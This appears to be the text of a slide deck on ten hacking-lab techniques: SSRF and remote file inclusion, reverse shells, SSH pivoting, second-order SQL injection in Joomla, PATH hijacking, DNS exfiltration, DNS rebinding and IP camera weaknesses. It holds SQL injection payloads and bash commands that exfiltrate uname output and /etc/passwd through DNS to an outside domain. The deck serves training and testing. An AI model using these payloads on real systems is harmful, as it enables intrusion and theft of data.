10 ท่ายาก
จาก Hacking Labs
M a n i c h K o o m s u s i
OSCP, OSCE, GXPN
P o n g t o r n A n g s u c h o t m e t e e
OSCP
TODAYS AGENDA
10 techniques from hacking labs and real world
Implement to test environment
From easy to difficult
Go through one by one, explain and PoC
Network Diagram
Attacker
10.10.11.100
192.168.10.100 192.168.10.101
10.10.11.101
192.168.20.100 192.168.20.101
192.168.30.100
192.168.30.101
SSRF : Server Site Request Forgery
RFI : Remote File Inclusion
+
SSRF : Server Site Request Forgery
What does the SSRF do?
Internal port scanning
Access resources on internal network
Etc.
SSRF Proof of Concept
Attacker
10.10.11.100
192.168.10.100 192.168.10.101
10.10.11.101
192.168.20.100 192.168.20.101
192.168.30.100
192.168.30.101
bWAPP
10.10.11.101/bWAPP/bWAPP/rlfi.php?language=lang_en.php?actipy=go
<< Local File Inclusion
Remote File Inclusion >>
Malicious File on Attacker host
IP as a parameter
Port list
Load File From Attacker Host & Execute on target machine
Try to scan another internal host
Attacker
10.10.11.100
192.168.10.100 192.168.10.101
10.10.11.101
192.168.20.100 192.168.20.101
192.168.30.100
192.168.30.101
Try to scan another internal host
PHP Reverse shell
+
RFI Remote File Inclusion
Remote File Inclusion
Malicious file on Attacker host
Listen on port 1234
Exploit
<< Brows to attacker file
Gain access >>
Privilege Escalation (Weak Password)
Try to switch to “ubuntu” user
Password is same as username
Network Diagram
Attacker
10.10.11.100
192.168.10.100 192.168.10.101
10.10.11.101
192.168.20.100 192.168.20.101
192.168.30.100
192.168.30.101
Pivoting
SSH Tunneling to 192.168.10.101
Attacker
10.10.11.100
192.168.10.100 192.168.10.101
10.10.11.101
192.168.20.100 192.168.20.101
192.168.30.100
192.168.30.101
Local SSH Tunneling
192.168.20.101 : 8010.10.11.101
127.0.0.1 : 8080
ssh ubuntu@10.10.11.101 –L 8080:192.168.10.101:80
Local SSH Tunneling
http://127.0.0.1:8080 è http://192.168.10.101
Remote SSH Tunneling
192.168.20.1020.0.0.0:444410.10.11.100:4444
ssh ubuntu@10.10.11.101 –R *:4444:10.10.11.100:4444
192.168.20.101
192.168.20.103
Remote SSH Tunneling
192.168.20.102
0.0.0.0:444410.10.11.100:4444
ssh ubuntu@10.10.11.101 –R *:4444:10.10.11.100:4444
192.168.20.101
192.168.20.103
Remote SSH Tunneling
echo “GatewayPorts yes” >> /etc/ssh/sshd_config
Remote SSH Tunneling
1st Pivot
192.168.10.101:80
10.10.11.100:4444
0.0.0.0:4444
127.0.0.1:8080
SQL Injection Second Order
SQL Injection Second Order
‘ or 1=1 -- -
SELECT * FROM users WHERE username=‘’ or 1=1-- - and password=‘P@ssw0rd’;
SQL Injection Second Order
Attacker injects payload
The payload will be executed when affected has
been called
SQLi Second Order (1st stage )
username password
admin P@ssw0rd
INSERT INTO database VALUES(“admin’-- -”,”password”);
username password
admin P@ssw0rd
admin’-- - password
username password
admin P@ssw0rd
admin’-- - password
UPDATE users SET password=‘newpassword’ WHERE username=‘admin’-- -’;
username password
admin newpassword
admin’-- - password
SQLi Second Order (2nd stage )
Network Diagram
192.168.10.101:80
10.10.11.100:4444
0.0.0.0:4444
127.0.0.1:8080
Login as normal user
Login as normal user
On Edit Account page
The issue parameter
SQL Injection Second Order
Inject a single quote into the jform[params][admin_style]
Item has been saved
SQL Injection Second Order
Browse to http://127.0.0.1:8080/joomla/administrator/index.php
SQL Injection Second Order
Browse to http://127.0.0.1:8080/joomla/administrator/index.php
Inject AND sleep(5);-- - into the jform[params][admin_style]
SQL Injection Second Order
administrator/templates/hathor/postinstall/hathormessage.php
$adminstyle[0]
SQL Injection Second Order
Inject AND sleep(5);-- - into the jform[params][admin_style][0]
Browse to http://127.0.0.1:8080/joomla/administrator/index.php
SQL Injection Second Order
Inject payload into the jform[params][admin_style][0]
Browse to http://127.0.0.1:8080/joomla/administrator/index.php
Get root user’s session
SQL Injection Second Order
<< Logout
Set root session >>
SQL Injection Second Order
<< Super User now
PHP Reverse shell (2)
PHP Reverse shell (2)
PHP Reverse shell (2)
<< Reverse shell code
Listening on port 4444 >>
192.168.10.101:80
10.10.11.100:4444
0.0.0.0:4444
127.0.0.1:8080
SQL Injection Second Order
192.168.10.100
PHP Reverse shell (2)
<< Exploit
Gain access >>
Privilege Escalation
(Path Environment)
Can you escalate yourself from here?
More information
The vulnerability
What dose Linux do for calling binary file
Generate malicious file
Generate malicious file name “scp”
Pivoting
192.168.10.101:80
10.10.11.100:4444
0.0.0.0:4444
127.0.0.1:8080
Pivoting
10.10.11.100:80
0.0.0.0:80
Download file
Path environment setting
Exploit
LFI to RCE ( PHP session )
192.168.10.101:80
10.10.11.100:4444
0.0.0.0:4444
127.0.0.1:8080
LFI to RCE
Pivoting (pre-stage)
Add user
Set config for allowing on 0.0.0.0
LFI to RCE
Pivoting
192.168.10.101:80
10.10.11.100:4444
0.0.0.0:4444
127.0.0.1:8080
0.0.0.0:2280 192.168.20.101:80
LFI to RCE
Exfiltrating Data Via DNS Requests
Pivoting (forward)
SSH tunneling
Try to communicate with target
Pivoting (reverse)
192.168.10.101:80
10.10.11.100:4444
0.0.0.0:4444
127.0.0.1:8080
0.0.0.0:2280 192.168.20.101:80
0.0.0.0:2281 192.168.20.101:8081
0.0.0.0:4444
Exfiltrating Via DNS
Exfiltrating Via DNS
Victim IP = 192.168.1.13 PORT 7001
Payload ==> “bash -c dig$IFS`uname$IFS-a`.snoopbeeslab.org”
Exfiltrating Via DNS
Exfiltrating Via DNS
Payload ==> “bash -c dig$IFS`cat$IFS/etc/passwd`.snoopbeeslab.org”
Exfiltrating Via DNS
Exfiltrating Via DNS
Exploiting The Network Device
Exploiting The Network Device
Before attack
Exploiting The Network Device
After attack
Exploiting The Network Device
Exploiting The Network Device
Information Gatherings
Exploiting The Network Device
Setup Weapon
Exploiting The Network Device
Spoof IP “10.200.0.222”
Exploiting The Network Device
Exploiting The Network Device
Add Config
Exploiting The Network Device
Exploiting The Network Device
Exploiting The Network Device
DNS Rebinding
Config DNS
Attacker
10.10.11.100
192.168.10.100 192.168.10.101
10.10.11.101 192.168.30.254
192.168.30.101
192.168.1.100
DNS Configuration
Victim DNS Query
Malicious File on attacker server
Try to access file in browser cache
Submit result to attacker server
Attacker Server Configuration
Start web service
Listening traffic on port 53 or any port
attacker.com = 10.10.11.100
Attacker down the web site
attacker.com = 192.168.1.100
Gain sensitive data
IP Camera
IP Camera Security
- Brute force username password
- Default Password
- Backdoor from manufacturer
- Gain unique id from the same network and brute force password
IP Camera Security
Device id : XXXX69XXXXWSXXX
Wifi_ssid : missconf4
Wifi_wpa_psk : P@ssw0rd
Username : admin
Password : P@ssw0rd
*We only need Device ID and Password
for remote login
Remote Login
Attacker
10.10.11.100
192.168.30.100
192.168.1.101
192.168.30.254
DVS own by attacker
192.168.1.x
CONCLUSION
References
https://miki.it/blog/2015/4/20/the-power-of-dns-rebinding-stealing-wifi-passwords-with-a-website/
https://blog.ripstech.com/2018/joomla-privilege-escalation-via-sql-injection/
https://github.com/NickstaDB/DeserLab
http://resources.infosecinstitute.com/the-ssrf-vulnerability/#gref
https://www.fontenay-ronan.fr/c7824wip-security-review/
https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF
http://www.itsecgames.com/
https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project
THANK YOU

10 techniques from hacking labs1.3 miss confsp4